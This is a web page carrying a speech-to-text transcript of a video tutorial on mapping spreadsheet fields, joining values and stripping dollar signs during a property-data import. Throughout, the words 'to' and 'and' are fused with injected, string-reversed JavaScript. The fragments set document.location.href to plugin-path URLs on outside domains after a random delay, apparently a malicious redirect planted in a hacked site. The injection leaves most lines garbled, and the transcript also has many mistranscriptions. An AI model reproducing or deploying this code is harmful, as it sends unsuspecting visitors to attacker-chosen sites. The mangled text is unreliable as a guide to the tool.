list identical toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the

34:39

a source field section

34:42

on the right side in the important sowie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to these

34:46

you can double click on it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have a copy over intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the right site here which

34:49

is where you actually wake the expression or that

34:52

but been a code details are you what toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do so in our case I don’t remember

34:56

exactly okay so we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put the word owner email:

35:01

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then we wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to then put the

35:04

its lease expiration date I think

35:08

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then we wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I remember any more problems for furniture

35:13

with us we’re pulitzer so right now we want we’re

35:17

Kenneth getting there but this definitely won’t work so we’re putting

35:21

three fields intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one in this case

35:23

now if you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import multiple fields like that yes the separate each

35:27

separate part like that

35:29

with an toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and percent or shifts at in person toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and like the

35:33

the law separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor between Marcus toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Millichap

35:37

your look at their logo the amperstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and is what that toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and its

35:40

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and just like that you can separate multiple fields

35:43

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have multiple fields import it intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one as you get tested all actually show

35:48

you what it looks like

35:49

so we see its gonna put in jail jadeite John at general dot com 4/15 2009

35:54

quality toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

35:55

so it looks absolutely abysmal but it’s all getting in

35:59

which is definitely cool toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we can make that look a little bit clearer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you

36:03

like but say we wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you for the space between each these

36:07

well we can just within quotation marks

36:10

added space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we won a separate each part

36:14

the expression with a 10 percent again so

36:17

ultimately want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to look like is this owner email:

36:21

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then whatever you have within the quotation marks so he put double

36:25

quotation marks around

36:26

a space or any like wine attacks

36:29

that’ll actually put that in that spot so it’s now say

36:32

owner email: toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and a space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

36:36

the lease expiration toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and square footage air toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the square footage

36:40

now playing a test that should look a little bit more readable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we can

36:44

actually start even making this look a little bit better

36:46

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I’m gonna do this just the quick we could say email

36:50

ball in space

36:53

so I had it but email space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

36:56

then put the email toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then after the email

36:59

at the space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then put the words

37:03

least exploration with the column

37:06

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then do the same thing for the square footage sqft

37:11

calling States so you can

37:15

but multiple fields in 10 notes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and have each country faced with an actual the

37:20

direct value that you supply so this does get a little bit more complex but

37:25

this is probably one of the easier ones toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do is just separating multiple values

37:29

within toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and per set now another time that this is often used like if you have

37:34

a numeric value in are you a

37:37

but its a dollar amount like let’s say the transaction price

37:42

a commonly used expression toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get rid of like dollar signs

37:45

in its bright in that price

37:49

that’s a another common use this so

37:52

there’s certain field types in are you a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and transaction price

37:56

is a I an example this where it’s a numeric field

38:00

meaning you can only import numeric values intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their

38:03

however for most people they consider that the dollar amount

38:06

so your spreadsheet will often have dollar signs in it

38:09

but we can do is you can actually using an expression tell it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import

38:13

everything

38:14

but dollar sites so let’s say that the suite number is actually going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be

38:19

are I transaction price should purchase price instead

38:25

well transaction price like I said only allows for numeric values

38:29

but let’s say our spreadsheet has dollar signs in them

38:32

what you can do is use in fact I’m actually gonna

38:36

this way it’s meant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be on the left side we can click on functions

38:40

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and under I string

38:44

there’s an option for replace now these the different expressions that you can

38:47

you

38:48

in our yeah I definitely can’t go intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to each them in detail but

38:51

at the hover over them black she show you what it does so in this case this

38:55

one says

38:56

replace toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then has open parentheses s come up P

39:00

come are toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and enclose practices so that tells you

39:05

I what its gonna do or Wat how did

39:08

how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make the first I’ll show you how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make the expression

39:12

so you do replace toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then within parentheses

39:16

s pnr toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then it tells you then

39:19

what those actually are toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be filled in with toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell you replaces

39:23

instances p the second value in s

39:27

the field name with are so basically

39:32

it look like this when we double click on that

39:35

it’ll start the expression of for us toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then we have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to figure

39:39

finish it off so we place & Suites

39:42

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and put a comma you put the value we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to replace

39:45

a dollar sign within quotation marks

39:49

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then a comma toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then what you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to replace it with

39:52

so this expression right here you can kinda fudge with the

39:55

field name toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the actual values but this will take a specific character or

40:00

string of characters

40:01

out in the field for you an import the remainder in the REA

40:04

said this would import sweets minus any dollar signs in the transaction price

40:09

field

40:11

not really have any use but in it does come up quite

40:15

often so that’s just when the final things toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go

40:19

so this point we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save the map that we can use it again toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and again

40:23

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then actually important stat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and see what it looks like this

40:26

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it has gone over my expectations on lakes so

40:29

